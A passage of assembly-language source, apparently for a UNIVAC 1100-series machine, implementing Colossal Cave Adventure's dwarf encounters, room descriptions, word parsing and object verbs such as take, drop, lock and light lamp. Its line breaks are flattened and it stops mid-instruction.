2*I+IDWARF LSA 1 A,W IDWARF SA,W L66$TEMP . SAVE FOR LATER JL 8D,L66 . < 8, THEN 66 JG 23D,L66C . > 23 THEN CHECK DSEEN J L66D . NO L66C LA,W DSEEN,B1,ANOT . DSEEN(I) = 0? J L66 . YES, CONTINUE L66D LA,W DLOC,B1 . ODLOC(I) = DLOC(I) SA,W ODLOC,B1 LA,W DSEEN,B1,ANOT . DSEEN(I) <> 0 THEN CHK LOC J L66F . DSEEN = 0 CONTINUE L66E LA,W LOC . LOC > 14 THEN 65 JG 14D,L65 L66F LB,W B2,L66$TEMP . GET 2*I+IDWARF LA,W DTRAV,B2 . DLOC(I) = DTRAV(2*I+IDWARF) SA,W DLOC,B1 SZ,W DSEEN,B1 . DSEEN(I) = 0 LA,W DLOC,B1 . DLOC(I) <> LOC? AN,W LOC,,ANOT J L65 . EQUAL, CONTINUE LA,W ODLOC,B1 . ODLOC(I) <> LOC? AN,W LOC,,AZERO J L66 . YES THEN 66 L65 LA 1 SA,W DSEEN,B1 . DSEEN(I) = 1 LA,W LOC . DLOC(I) = LOC SA,W DLOC,B1 RI,W DTOT . DTOT = DTOT + 1 LA,W DLOC,B1 . ODLOC(I) <> DLOC(I) THEN 66 AN,W ODLOC,B1,AZERO J L66 RI,W ATTACK . ATTACK = ATTACK + 1 SLJ RANDOM . GET RANDOM # +100D LA,W $-1 TA 11D,,YMORE . < 10? RI,W STICK . YES, STICK = STICK + 1 L66 TBI B1,3D . BUMP I J L66A . LOOP J L66B L66$TEMP +0 . MULTIPLE THREATENING DWARVES IN ROOM L66B LA,W DTOT,,ANOT . DTOT = 0? J L71 . YES JE 1,L75 . DTOT = 1 THEN 75 INT2DEC . CVT # TO FIELDATA SA,W DTNUM TYPE DTLEN,DTHREAT J L77 . ONE THREATENING DWARF IN ROOM L75 SLJ SPEAK +4D . MULTIPLE DWARVES THROW A KNIFE L77 LA,W ATTACK,,ANOT . ATTACK = 0? J L71 . YES JE 1,L79 . ATTACK = 1 THEN 79 INT2DEC . CVT TO FIELDATA SA,W DKNIFE TYPE DKLEN,DKNIFE J L81 . ONE DWARF THROWS KNIFE L79 SLJ SPEAK +5D LA,W STICK . IT HITS/MISSES A 52D SA,W $+2 SLJ SPEAK +0 LA,W STICK JE 1D,L83 . YOU'RE DEAD J L71 . MULTIPLE DWARVES HIT YOU L81 LA,W STICK,,ANOT . STICK = 0? J L69 . YES JE 1D,L82 . STICK = 1 THEN 82 INT2DEC . CVT TO FIELDATA SA,W DHIT TYPE DHLEN,DHIT J L83 . ONE DWARF HITS YOU L82 SLJ SPEAK +6D L83 ACCEPT GOLEN,GAMEOVER RPLYLEN,RPLYBFR J L71 . NO DWARVES HIT YOU L69 SLJ SPEAK +7D . . PLACE DESCRIPTION . L71 LB,W B1,LL . B1 = L LQ,W STEXT,B1 . KK = STEXT(L) LA,W ABB,B1,ANOT . ABB(L) = 0? J L71A . YES SQ,A 0,,AZERO . KK = 0? J L71B . NO L71A LQ,W LTEXT,B1 . KK = LTEXT(L) L71B SQ,A 0,,ANOT . KK = 0? J L7 . YES M LLSIZE . CALC ADDR OF LLINE ITEM AQ LLINE SQ,A LB,A B2 . B2 = KK LA,W LLLEN,B2 . SET UP PARAMS SA,W L71$P1 LA LLTEXT,B2 SA,W L71$P2 EXRN ERTYPE$ L71$P1 +0 L71$P2 +0 LA,W LLNEXT,B2 . GET INDEX OF NEXT LQ,A JNE 0,L71B . THERE IS MORE TYPE 1D,CR L7 LB,W B1,LL LA,W COND,B1 JE 2D,L8 . COND(L) = 2? THEN 8 LA,W LOC JNE 33D,L7A . LOC <> 33 THEN SKIP SLJ RANDOM . GET RANDOM # +100D JG 25D,L7A . # >= 25 THEN SKIP JE 25D,L7A SLJ SPEAK . HOLLOW VOICE SAYS PLUGH +8D L7A LA,W LOC SA,W JJ . J = LOC J L2000 . . PROCESS MOVEMENT WORDS. I.E. THOSE WITH IDS <= 999. . . GO GET A NEW LOCATION . L8 LB,W B1,LOC LA,W KEY,B1 SA,W KK,,ANOT . KK = KEY(LOC) J L19 . KK=0 THEN 19 LA,W K JE 57D,L32 . K=57 THEN 32 JE 67D,L40 . K=67 THEN 40 JE 8D,L12 . K=8 THEN 12 LA,W LL SA,W LOLD . LOLD = L L9 LB,W B1,KK LA,W TRAVEL,B1 . LL = TRAVEL(KK) TA 0,,YLESS NA . LL<0 THEN LL=-LL SA,W LLL SA,W L9$P1 SLJ MOD L9$P1 +0 1024D JE 1D,L10 . MOD(LL,1024)=1 THEN 10 AN,W K,,ANOT J L10 . MOD(LL,1024)=K THEN 10 LB,W B1,KK LA,W TRAVEL,B1 JL 0,L11 . TRAVEL(KK)<0 THEN 11 RI,W KK . KK=KK+1 J L9 . L12 LA,W LOLD . TEMP=LOLD LQ,W LL SQ,W LOLD . LOLD=L SA,W LL . L=TEMP J L21 . L10 LA,W LLL LRSA 10D SA,W LL . L=LL/1024 J L21 . L11 LA 12D . SA,W JSPK . JSPK=12/CAN'T APPLY WORD LA,W K JL 43D,L11CONT1 . K>=43 AND K<=46 THEN JSPK=9. JG 46D,L11CONT1 L11SET9 LQ 9D . NO WAY TO GO THERE SQ,W JSPK J L11CONT5 L11CONT1 JE 29D,L11SET9 . K=29 OR K=30 THEN JSPK=9 JE 30D,L11SET9 JE 7D,L11CONT2 . K=8,9,36,37,68 THEN JSPK=10 JE 8D,L11CONT2 JE 36D,L11CONT2 JE 37D,L11CONT2 JE 68D,L11CONT2 J L11CONT3 L11CONT2 LQ 10D SQ,W JSPK . UNSURE HOW YOU ARE FACING J L11CONT5 L11CONT3 JE 11D,L11CONT4 . K=11 OR 19 THEN JSPL=11 JE 19D,L11CONT4 J L11CONT5 L11CONT4 LQ 11D SQ,W JSPK . DON'T KNOW IN FROM OUT L11CONT5 LA,W JVERB JNE 1D,L11CONT6 . JVERB=1 THEN JSPK=59 LQ 59D SQ,W JSPK . CAN'T TELL WHERE THINGS ARE L11CONT6 LA,W K JNE 48D,L11CONT7 LA 42D SA,W JSPK . NOTHING HAPPENS L11CONT7 JNE 17D,L11CONT8 LA 80D SA,W JSPK . WHICH WAY? L11CONT8 LA,W JSPK SA,W L11$P1 SLJ SPEAK L11$P1 +0 J L2 . L19 SLJ SPEAK . I DON'T UNDERSTAND THAT +13D LA,W LOC SA,W LL . L = LOC LA,W IFIRST,,AZERO . IFIRST = 0? J L21 . NO SLJ SPEAK . +14D . I UNDERSTAND COMPASS DIRNS . L21 LA,W LL JL 300D,L2 . L<300 THEN 2 AN 299D JG 15D,L2 . OUT OF RANGE LB,A B1 J,L L21$J,B1 . GO TO APPROPRIATE ROUTINE . L21$J +0 +L22 . 300 +L23 . 301 +L24 . 302 +L25 . 303 +L26 . 304 +L31 . 305 +L27 . 306 +L28 . 307 +L29 . 308 +L30 . 309 +L33 . 310 +L34 . 311 +L36 . 312 +L37 . 313 +L39 . 314 . . INVOKED FROM FOREST/DEEP VALLEY WHEN FOREST/FORWARD/BACK/NORTH . L22 LA 6D SA,W LL . L = 6 (FOREST NEAR ROAD) SLJ RANDOM +100D JL 50D,L2 LA 5D . RAN>=0.5 THEN L=5 SA,W LL . (FOREST/DEEP VALLEY) J L2 . . INVOKED FROM GRATE WHEN DOOR/DOWNSTREAM/INWARD/DOWN . L23 LA 23D SA,W LL . L = 23 (CAN'T GO THRU LOCKED) LB,W B1,GRATE LA,W PROP,B1,ANOT . PROP(GRATE><>0? J L2 . NO LA 9D SA,W LL . L = 9 (BELOW GRATE) J L2 . . INVOKED FROM BELOW GRATE WHEN LEAVE/BUILDING . L24 LA 9D SA,W LL . L = 9 (BELOW GRATE) LB,W B1,GRATE,ANOT . PROP(GRATE)<>0? J L2 . NO LA 8D SA,W LL . L = 8 (GRATE) J L2 . . INVOKED FROM SMALL PIT WHEN DOWN/PIT/STEPS . L25 LA 20D SA,W LL . L = 20 (BROKEN NECK) LB,W B1,NUGGET LA,W IPLACE,B1,APOS . IPLACE(NUGGET)<0? J L2 . YES LA 15D SA,W LL . L = 15 (HALL OF MISTS) J L2 . . INVOKED FROM HALL OF MISTS WHEN UP/PIT/STEPS/DOME/PASSAGE/EAST . L26 LA 22D SA,W LL . L = 22 (DOME UNCLIMBABLE) LB,W B1,NUGGET LA,W IPLACE,B1,APOS . IPLACE(NUGGET)<0? J L2 . YES LA 14D SA,W LL . L = 14 (SMALL PIT) J L2 . . INVOKED FROM EAST BANK OF FISSURE WHEN MAGIC/OVER/ACROSS/WEST . /INWARD/JUMP . L27 LA 27D SA,W LL . L = 27 (W SIDE OF FISSURE) . PROP(12) = CRYSTAL BRIDGE LA,W PROP+12D,,AZERO . PROP(12)=0? J L2 . NO LA 31D SA,W LL . L = 31 (NO WAY ACROSS) J L2 . . INVOKED FROM HALL OF MOUNTAIN KING WHEN NORTH/LEFT . L28 LA 28D SA,W LL . L = 28 (LOW N/S PASSAGE) LB,W B1,SNAKE LA,W PROP,B1,AZERO . PROP(SNAKE)=0? J L2 . NO LA 32D SA,W LL . L = 32 (CAN'T PASS SNAKE) J L2 . . INVOKED FROM HALL OF MOUNTAIN KING WHEN SOUTH/RIGHT . L29 LA 29D SA,W LL . L = 29 (SOUTH SIDE CHAMBER) LB,W B1,SNAKE LA,W PROP,B1,AZERO . PROP(SNAKE)=0? J L2 . NO LA 32D SA,W LL . L = 32 (CAN'T PASS SNAKE) J L2 . . INVOKED FROM HALL OF MOUNTAIN KING WHEN WEST/ONWARD . L30 LA 30D SA,W LL . L = 30 (WEST SIDE CHAMBER) LB,W B1,SNAKE LA,W PROP,B1,AZERO . PROP(SNAKE)=0? J L2 . NO LA 32D SA,W LL . L = 32 (CAN'T PASS SNAKE) J L2 . . INVOKED FROM EAST BANK OF FISSURE WHEN ONWARD . L31 TYPE GOLEN,GAMEOVER J L1100 . L32 LA,W IDETAL JG 2D,L32A . IDETAL>=3 SLJ SPEAK . NOT ALLOWED TO GIVE MORE DTL +15D L32A RI,W IDETAL . IDETAL=IDETAL+1 LA,W LOC SA,W LL . L = LOC LB,A B1 SZ,W ABB,B1 . ABB(L) = 0 J L2 . . INVOKED FROM DEBRIS ROOM WHEN DEPRESSION . L33 LA 8D SA,W LL . L = 8 (GRATE) LB,W B1,GRATE LA,W PROP,B1,AZERO . PROP(GRATE)=0? J L2 . NO LA 9D SA,W LL . L = 9 (BELOW GRATE) J L2 . . INVOKED FROM BEDQUILT WHEN SOUTH . L34 SLJ RANDOM +100D JG 20D,L35 . RAN>0.2 THEN 35 LA 68D SA,W LL . L = 68 (SLAB ROOM) J L2 L35 LA 65D SA,W LL . L = 65 (BEDQUILT) L38 SLJ SPEAK . BACK IN THE MAIN PASSAGE +56D J L2 . . INVOKED FROM BEDQUILT WHEN UP . L36 SLJ RANDOM +100D JG 20D,L35 . RAN>0.2 THEN 35 LA 39D SA,W LL . L = 39 (DUSTY ROCKS) SLJ RANDOM +100D JL 50D,L2 . RAN<0.5 THEN 2 LA 70D SA,W LL . L = 70 (SECRET N/S CANYON) J L2 . . INVOKED WHEN GOING NORTH FROM SWISS CHEESE ROOM . L37 LA 66D SA,W LL . L = 66 (SWISS CHEESE ROOM) SLJ RANDOM +100D JG 40D,L38 . RAN>0.4 THEN 38 LA 71D SA,W LL . L = 71 (SECRET CANYON) SLJ RANDOM +100D JL 25D,L2 . RAN<0.25 THEN 2 LA 72D SA,W LL . L = 72 (LARGE LOW ROOM) J L2 . . INVOKED WHEN GOING SOUTH FROM SWISS CHEESE ROOM . L39 LA 66D SA,W LL . L = 66 (SWISS CHEESE ROOM) SLJ RANDOM +100D JG 20D,L38 . RAN>0.2 THEN 38 LA 77D SA,W LL . L = 77 (E/W CANYON) J L2 . L40 LA,W LOC JG 7D,L40A . LOC>=7 THEN SKIP SLJ SPEAK . I DON'T KNOW WHERE CAVE IS +57D J L40B L40A SLJ SPEAK . CAN ONLY TELL WHAT YOU SEE +58D L40B LA,W LOC SA,W LL . L = LOC J L2 . . DO NEXT INPUT . . THIS BIT SEEMS TO HAVE TO DO WITH HAVING LIGHT IN A DARK ROOM . L2000 SZ,W LTRUBL . LTRUBL = 0 LB,W B1,JJ . LOC = J SB,W B1,LOC LA,W ABB,B1 . ABB(J) + 1 A 1 SA,W L2000$P1 . SET UP MOD PARAMS SLJ MOD L2000$P1 +0 +5D SA,W ABB,B1 . ABB(J) = MOD(ABB(J)+1,5) SZ,W IDARK . IDARK = 0 LA,W COND,B1 . MOD(COND(J),1) LQ 1 LLP,A 0,,AZERO J L2003 . MOD(COND(J),1)=1 LQ,X 77777 LA,W IPLACE+2D MATE JJ J L2000A J L2000B . IPLACE(2) = J THEN CONTINUE L2000A MATE NEG1 J L2001 . IPLACE(2) <> -1 THEN 2001 L2000B LA,W PROP+2D JE 1D,L2003 . PROP(2) = 1 THEN 2003 L2001 SLJ SPEAK . IT IS NOW PITCH DARK +16D LA 1 . IDARK = 1 SA,W IDARK . . DISPLAY ALL OBJECTS FOUND AT THE CURRENT LOCATION. . L2003 LB,W B1,JJ LA,W IOBJ,B1 SA,W I . I = OBJ(J) L2004 LA,A 0,,ANOT . I = 0? J L2011 . YES JE 6D,L2004A . I = 6 JE 9D,L2004A . I = 9 J L2004B . I <> 6 AND I <> 9 L2004A LA,W IPLACE+10D,,APOS . IPLACE(10) < 0 J L2008 . YES L2004B LA,W I SA,W ILK . ILK = I LB,A B1 LA,W PROP,B1,ANOT . PROP(I) <> 0? J L2004C . NO LA,W ILK A 100D SA,W ILK . ILK=ILK+100 L2004C LB,W B1,ILK LA,W BTEXT,B1 SA,W KK,,ANOT . KK = BTEXT(ILK) J L2008 . IF KK = 0 THEN 2008 L2005 LQ,W KK . CALC OFFSET INTO LLINE M LLSIZE AQ LLINE SQ,A LB,A B2 LA,W LLLEN,B2 . SET UP TYPE PARAMS SA,W L2005$P1 LA LLTEXT,B2 SA,W L2005$P2 EXRN ERTYPE$ L2005$P1 +0 L2005$P2 +0 LA,W LLNEXT,B2,ANOT . IS THERE MORE? J L2005A . NO RI,W KK . KK=KK+1 J L2005 L2005A TYPE 1D,CR L2008 LB,W B1,I LA,W ICHAIN,B1 SA,W I . I = CHAIN(I) J L2004 . . K = 1 MEANS ANY INPUT . L2012 LA,W WD2 . WD2 = A SA,W AA SZ,W TWOWDS . TWOWDS = 0 J L2021 . . DISPLAY A MESSAGE RELATED TO YOUR LAST COMMAND. . LIKE, 'YOUR FEET ARE NOW WET' . . MESSAGE NUMBER IN K . L2009 LA 54D . K =54 SA,W K L2010 LA,W K . JSPK = K SA,W JSPK L5200 LA,W JSPK SA,W L2010$P1 SLJ SPEAK L2010$P1 +0 . L2011 SZ,W JVERB SZ,W JOBJ SZ,W TWOWDS L2020 SLJ GETIN L2020$P1 +0 L2020$P2 +0 L2020$P3 +0 L2020$P4 +0 LA,W L2020$P1 SA,W TWOWDS LA,W L2020$P2 SA,W AA LA,W L2020$P3 SA,W WD2 LA,W L2020$P4 SA,W BB . LA 70D . K = 70 (YOUR FEET ARE NOW WET) SA,W K LQ,X 77777 LA,W AA MATE SQUIT . A = 'QUIT'? J L2020C . NO HALT 0 . YES, END GAME L2020C MATE SENTER . A = 'ENTER'? J L2021 . NO LA,W WD2 MATE SSTREAM . WD2 = 'STREA' J L2020A . NO, CHECK 'WATER' J L2010 . YES L2020A MATE SWATER . WD2 = 'WATER' J L2020B . NO J L2010 . YES L2020B LA,W TWOWDS,,AZERO . TWOWDS = 0? J L2012 . NO . COUNT # TIMES 'WEST' ENTERED. IF EXACTLY 10 TIMES, TELL PLAYER . THAT HE CAN ENTER 'W' INSTEAD. L2021 LA,W AA MATE SWEST . A = 'WEST'? J L2023 . NO RI,W IWEST . YES IWEST = IWEST+1 JNE 10D,L2023 . IWEST <> 10 THEN 2023 SLJ SPEAK . YOU CAN TYPE W NOT WEST +17D . . TRY TO FIND FIRST WORD IN WELL KNOWN WORD TABLE . L2023 LB B1,1 . FOR I=1 TO 200 LQ,X 77777 L2023A LA,W KTAB,B1 JE 9999D,L3000 . END OF TABLE? LA,W ATAB,B1 . ATAB(I) = A? MATE AA J L2024 . NO J L2025 . YES L2024 TBI B1,200D J L2023A . . NO END SENTINAL (ID = 99999) IN KTAB . TYPE E6LEN,ERR6 . OOPS! HALT 4D . . GO TO THE APPROPRIATE ROUTINE TO PROCESS THE CLASS OF THE WORD. . ACTION WORDS ARE BETWEEN 0 AND 999, OJBECTS ARE BETWEEN . 1000 AND 1999, NOISE WORDS ARE BETWEE 2000 AND 2999 AND . MISCELLANEOUS OTHER WORDS ARE >= 3000. . L2025 LA,W KTAB,B1 SA,W L2025$P1 SLJ MOD L2025$P1 +0 +1000D SA,W K . K = MOD(KTAB(I),1000) LQ,W KTAB,B1 ZA D 1000D AQ 1 . KQ = KTAB(I)/1000+1 SQ,A JG 4D,L2025A . OUT OF RANGE LB,A B1 J,L L2025$J,B1 . GOTO ... KQ . L2025A TYPE NNLEN,NONO HALT 5D . L2025$J +0 +L5014 . 0-999 +L5000 . 1000-1999 +L2026 . 2000-2999 +L2010 . 3000-3999 . . PROCESS NOISE WORDS . L2026 LB,W B1,K SB,W B1,JVERB . JVERB = K LA,W JSPKT,B1 SA,W JSPK . JSPK = JSPKT(JVERB) LA,W TWOWDS,,AZERO . TWOWDS = 0? J L2028 . NO LA,W JOBJ,,ANOT . JOBJ = 0? J L2036 . YES L2027 LA,W JVERB JG 16D,L2026A . JVERB > 16 THEN ERROR LB,A B1 J,L L2026$J,B1 . GO TO APPROPRAITE ROUTINE . L2026A TYPE E5LEN,ERR5 HALT 6D . . JUMP TABLE FOR 2000 SERIES WORDS WITH AN OBJECT . L2026$J +0 +L9000 . TAKE +L5066 . DROP +L3000 . DUMMY +L5031 . OPEN +L2009 . HOLD +L5031 . CLOSE +L9404 . ON +L9406 . OFF +L5081 . STRIKE +L5200 . WAVE +L5200 . GO +L5300 . ATTACK +L5506 . POUR +L5502 . EAT +L5504 . DRINK +L5505 . RUB . . MOVE 2ND WORD TO 1ST WORD AND TRY AGAIN . L2028 LA,W WD2 SA,W AA . A= WD2 LA,W SPACES SA,W BB . B = ' ' SZ,W TWOWDS . TWOWDS = 0 J L2023 . . UNRECOGNIZED WORD. DISPLAY ONE OF 3 RANDOM REPSONSES. . L3000 LQ 60D . I DON'T KNOW THAT WORD SLJ RANDOM +100D JL 80D,L3000A LQ 61D . WHAT? L3000A SLJ RANDOM +100D JL 80D,L3000B LQ 13D . I DON'T UNDERSTAND THAT L3000B SQ,W L3000$P1 SLJ SPEAK L3000$P1 +0 RI,W LTRUBL . LTRUBL = LTRUBL + 1 JNE 3D,L2020 . LTRUBL <> 3 THEN 2020 . SOMETHING ABOUT TRYING TO CATCH THE BIRD LA,W JJ JNE 13D,L2032 . J <> 13 THEN 2032 LA,W IPLACE+7D JNE 13D,L2032 . OR IPLACE(7) <> 13 THEN 2020 LA,W IPLACE+5D,,APOS J L2032 . OR IPLACE95) = -1 THEN 2020 SLJ YES +18D +19D +54D +0 LA,W $-1 SA,W YEA J L2033 . SOMETHING ABOUT ATTACKING THE SNAKE L2032 LA,W JJ JNE 19D,L2034 . J <> 19 THEN 2034 LA,W PROP+11D,,AZERO J L2034 . OR PROP(11) <> 0 THEN 2034 LA,W IPLACE+7D,,APOS J L2034 . OR IPLACE(7) = -1 THEN 2034 SLJ YES +20D +21D +54D +0 LA,W $-1 SA,W YEA J L2033 . SOMETHING ABOUT TRYING TO GET INTO THE CAVE L2034 LA,W JJ JNE 8D,L2035 . J <> 8 THEN 2035 LB,W B1,GRATE LA,W PROP,B1,AZERO J L2035 . OR PROP(GRATE)<>0 THEN 2035 SLJ YES +62D +63D +54D +0 LA,W $-1 SA,W YEA L2033 LA,W YEA,,ANOT . PLAYER ANSWERED NO? J L2011 . YES J L2020 . NO . MY WORD FOR HITTING SOMETHING WITH THE ROD IS STRIKE L2035 LA,W IPLACE+5D AN,W JJ,,ANOT . IPLACE(5) <> J? J L2035A . NO LA,W IPLACE+5D JL 0,L2020 . AND IPLACE(5) < 0 THEN 2020 L2035A LA,W JOBJ JNE 5D,L2020 . JOBJ <> 5 THEN 2020 SLJ SPEAK +22D J L2020 . L2036 LA,W JVERB JG 16D,L2036A . NOT IN RANGE LB,A B1 J,L L2036$J,B1 . GO TO APPROPRIATE RTN . L2036A TYPE OLEN,OOPS HALT 6D . . JUMP TABLE FOR 2000 SERIES WORDS WITHOUT AN OBJECT . L2036$J +0 +L2037 . TAKE +L5062 . DROP +L5062 . DUMMY +L9403 . OPEN +L2009 . HOLD +L9403 . CLOSE +L9404 . ON +L9406 . OFF +L5062 . STRIKE +L5062 . WAVE +L5200 . GO +L5300 . ATTACK +L5062 . POUR +L5062 . EAT +L5062 . DRINK +L5062 . RUB . . SOMETHING TO DO WITH PICKING STUFF UP L2037 LB,W B1,JJ LA,W IOBJ,B1,ANOT . IOBJ(J) = 0? J L5062 . YES LB,A B1 L5312 LA,W ICHAIN,B1,AZERO . OR ICHAIN(IOBJ(J))<>0? J L5062 . YES LB B1,1 . FOR I=1 TO 3 LA,W DSEEN,B1,AZERO . DSEEN(I) = 0? J L5062 . NO TBI B1,3D . BUMP I J L5312 . AND LOOP LB,W B1,JJ LA,W IOBJ,B1 SA,W JOBJ . JOBJ = IOBJ(J) J L2027 . L5062 LA,W BB . 2ND WORD OF REPLY LQ,X 77777 MATE SPACES J L5333 . BB <> ' ' THEN 5333 LA,W AA SA,W WHAT . ASK PLAYER WHAT OBJECT TYPE WLEN,WHAT J L2020 . DOUBLE WORD VERSION OF L5062 L5333 LA,W AA SA,W WHAT2 LA,W BB SA,W WHAT2+1 TYPE W2LEN,WHAT2 J L2020 . . CHECK IF DARK. IF IT IS THEN THERE IS A 25% CHANCE OF . FALLING INTO A PIT. . L5014 LA,W IDARK,,ANOT . IDARK = 0? J L8 . YES SLJ RANDOM +100D JG 25D,L8 . RAN > .25 THEN 8 L5017 SLJ SPEAK 23D . FELL INTO A PIT TYPE GOLEN,GAMEOVER J L2011 . L5000 LA,W K SA,W JOBJ . JOBJ = K LA,W TWOWDS,,AZERO . TWOWDS = 0? J L2028 . NO LB,W B1,K LA,W JJ AN,W IPLACE,B1,ANOT . K=IPLACE(K)? J L5004 . YES LA,W IPLACE,B1,APOS . IPLACE(K)<0 J L5004 . YES LA,W GRATE AN,W K,,AZERO . K<>GRATE? J L502 . YES LA,W JJ AN 1D,,ANOT . J=1? J L5098 . YES LA,W JJ AN 4D,,ANOT . J=4? J L5098 . YES LA,W JJ AN 7D,,ANOT . J=7? J L5098 . YES LA,W JJ JL 10D,L502 . J>9? NO SKIP JL 15D,L5097 . J<15 THEN L5097 L502 LA,W BB LQ,X 77777 MATE SPACES . B = SPACES J L5316 . NO LA,W AA . INS WRD INTO MSG SA,W SEEWHAT TYPE SNLEN,SEENO J L2011 L5316 LA,W AA . INS 2 WRDS INTO MSG SA,W SEEWHAT2 LA,W BB SA,W SEEWHAT2+1 TYPE SN2LEN,SEENO2 J L2011 . L5098 LA 49D SA,W K . K = 49 J L5014 . L5097 LA 50D SA,W K . K = 50 J L5014 . L5004 LA,W K SA,W JOBJ . JOBJ = K LA,W JVERB,,AZERO . JVERB=0? J L2027 . NO . L5064 LA,W BB LQ,X 77777 MATE SPACES . B=' '? J 5314 . NO LA,W AA . INS WRD INTO MSG SA,W WHATWHAT TYPE WDLEN,WHATDO J L2020 L5314 LA,W AA . INS 2 WRDS INTO MSG SA,W WHATWHAT2 LA,W BB SA,W WHATWHAT2+1 TYPE WD2LEN,WHATWHAT2 J L2020 . . CARRY . L9000 LA,W JOBJ JE 18D,L2009 . JOBJ=18 THEN 2009 LB,A B1 LA,W IPLACE,B1 AN,W JJ,,AZERO . IPLACE(JOBJ)<>J? J L5200 . YES L9001 LB,W B1,JOBJ LA,W IFIXED,B1,ANOT . IPLACE(JOBJ)=0? J L9002 . YES SLJ SPEAK . YOU CAN'T BE SERIOUS +25D J L2011 L9002 LA,W JOBJ AN,W BIRD,,AZERO . JOBJ=BIRD? J L9004 . NO LB,W B1,ROD LA,W IPLACE,B1,ANEG . IPLACE(ROD)<0? J L9003 . NO SLJ SPEAK . BIRD AFRAID +26D J L2011 L9003 LA,W IPLACE+4D,,APOS . IPLACE(4)<0? J L9004 . YES AN,W JJ,,ANOT . IPLACE(4)=J? J L9004 . YES SLJ SPEAK . CANNOT CARRY BIRD +27D J L2011 L9004 LB,W B1,JOBJ LA,X -1 SA,W IPLACE,B1 . IPLACE(JOBJ)=-1 L9005 LB,W B1,JJ LA,W IOBJ,B1 AN,W JOBJ,,AZERO . IOBJ(J)<>JOBJ? J L9006 . YES LB,W B2,JOBJ LA,W ICHAIN,B2 SA,W IOBJ,B1 . IOBJ(J)=ICHAIN(JOBJ) J L2009 L9006 LB,W B1,JJ LA,W IOBJ,B1 SA,W ITEMP . ITEMP=IOBJ(J) L9007 LB,W B1,ITEMP LA,W ICHAIN,B1 AN,W JOBJ,,ANOT . ICHAIN(ITEMP)=JOBJ? J L9008 . YES LA,W ICHAIN,B1 SA,W ITEMP . ITEMP=ICHAIN(ITEMP) J L9007 L9008 LB,W B1,ITEMP LB,W B2,JOBJ LA,W ICHAIN,B2 SA,W ICHAIN,B1 . ICHAIN(ITEMP)=ICHAIN(JOBJ) J L2009 . . LOCK, UNLOCK, NO OBJECT YET . L9403 LA,W JJ JE 8D,L5105 . J=8 THEN 5105 JE 9D,L5105 . J=9 THEN 5105 L5032 SLJ SPEAK . NOTHING HERE WITH A LOCK +28D J L2011 L5105 LA,W GRATE SA,W JOBJ . JOBJ=GRATE J L2027 . . DISCARD OBJECT . L5066 LA,W JOBJ JE 18D,L2009 . JOBJ=18 THEN 2009 LB,A B1 LA,W IPLACE,B1,ANEG . IPLACE(JOBJ)<0 J L5200 . NO L5012 LA,W JOBJ AN,W BIRD,,AZERO . JOBJ=BIRD? J L9401 . NO LA,W JJ JNE 19D,L9401 . J<>19 THEN 9401 LA,W PROP+11D JE 1D,L9401 . PROP(11)=1 THEN 9401 SLJ SPEAK . BIRD ATTACKS SNAKE +30D LA 1 SA,W PROP+11D . PROP(11)=1 L5160 LB,W B1,JOBJ LB,W B2,JJ LA,W IOBJ,B2 SA,W ICHAIN,B1 . ICHAIN(JOBJ)=IOBJ(J) SB,W B1,IOBJ,B2 . IOBJ(J)=JOBJ SB,W B2,IPLACE,B1 . IPLACE(JOBJ)=J J L2011 . L9401 SLJ SPEAK . OK +54D J L5160 . . LOCK, UNLOCK OBJECT . L5031 LB,W B1,KEYS LA,W IPLACE,B1,APOS . IPLACE(KEYS)<0 J L5031A . YES AN,W JJ,,AZERO . IPLACE(KEYS)<>J J L5200 . YES L5031A LA,W JOBJ JNE 4D,L5102 . JOBJ<>4 THEN 5102 SLJ SPEAK . IT HAS NO LOCK +32D J L2011 L5102 LA,W JOBJ AN,W KEYS,,AZERO . JOBJ<>KEYS? J L5104 . YES SLJ SPEAK . YOU CAN'T UNLOCK KEYS +55D J L2011 L5104 LA,W JOBJ AN,W GRATE,,ANOT . JOBJ=GRATE? J L5107 . YES SLJ SPEAK . DON'T KNOW TO LOCK/UNLOCK +33D J L2011 L5107 LA,W JVERB JE 4D,L5033 . JVERB=4 THEN 5033 LB,W B1,GRATE LA,W PROP,B1,AZERO . PROP(GRATE)<>0 J L5034 . YES SLJ SPEAK . ALREADY LOCKED +34D J L2011 L5034 SLJ SPEAK . GRATE IS NOW LOCKED +35D LB,W B1,GRATE SZ,W PROP,B1 . PROP(GRATE)=0 SZ,W PROP+8D . PROP(8)=0 J L2011 L5033 LB,W B1,GRATE LA,W PROP,B1,ANOT . PROP(GRATE)=0 J L5109 . YES SLJ SPEAK . ALREADY UNLOCKED +36D J L2011 L5109 SLJ SPEAK . GRATE NOW UNLOCKED +37D LB,W B1,GRATE LA 1 SA,W PROP,B1 . PROP(GRATE)=1 SA,W PROP+8D . PROP(8)=1 J L2011 . . LIGHT LAMP . L9404 LA,W IPLACE+2D AN,W JJ,,ANOT . IPLACE(2)<>J? J L9404A . NO LA,W IPLACE+2D,,ANEG . IPLACE(2)<0? J L5200 . NO L9404A LA 1 SA,W PROP+2D . PROP(2)=1 SZ,W IDARK . IDARK=0 SLJ SPEAK . LAMP IS NOW ON +39D J L2011 . . LAMP OFF . L9406 LA,W IPLACE+2D AN,W JJ,,ANOT . IPLACE(2)<>J? J L9406A . NO LA,W IPLACE+2D,,ANEG . IPLACE(2)<0? J L5200 . NO L9406A SZ,W PROP+2D . PROP(2)=1 SLJ SPEAK . LAMP IS NOW OFF +40D J L2011 . . STRIKE . L5081 LA,W JOBJ . JOBJ = 12 = FISSURE JNE 12D,L5200 . JOBJ<>12 THEN 5200 LA 1 . CREATE CRYSTAL BRIDGE SA,W PROP+12D . PROP(12)=1 J L2003 . . ATTACK . L5300 LB B1,1 . FOR ID=1 TO 3 L5313 SB,W B1,IID . IID=ID LA,W DSEEN,B1,AZERO . DSEEN(ID)<>0 J L5307 . YES TBI B1,3D J L5313 LA,W JOBJ JE 0,L5062 . JOBJ=0 THEN 5062 AN,W SNAKE,,ANOT . JOBJ=SNAKE? J L5200 . YES LA,W JOBJ AN,W BIRD,,ANOT . JOBJ=BIRD? J L5302 . YES SLJ SPEAK . NOTHING TO ATTACK +44D J L2011 L5302 SLJ SPEAK . BIRD IS NOT DEAD +45D LB,W B1,JOBJ LA 300D SA,W IPLACE,B1 . IPLACE(JOBJ)=300 J L9005 . L5307 SLJ RANDOM +100D JG 40D,L5309 . RAN>0.4 THEN 5309 LB,W B1,IID SZ,W DSEEN,B1 . DSEEN(IID)=0 SZ,W ODLOC,B1 . ODLOC(IID)=0 SZ,W DLOC,B1 . DLOC(IID)=0 SLJ SPEAK . YOU KILLED A DWARF +47D J L5311 L5309 SLJ 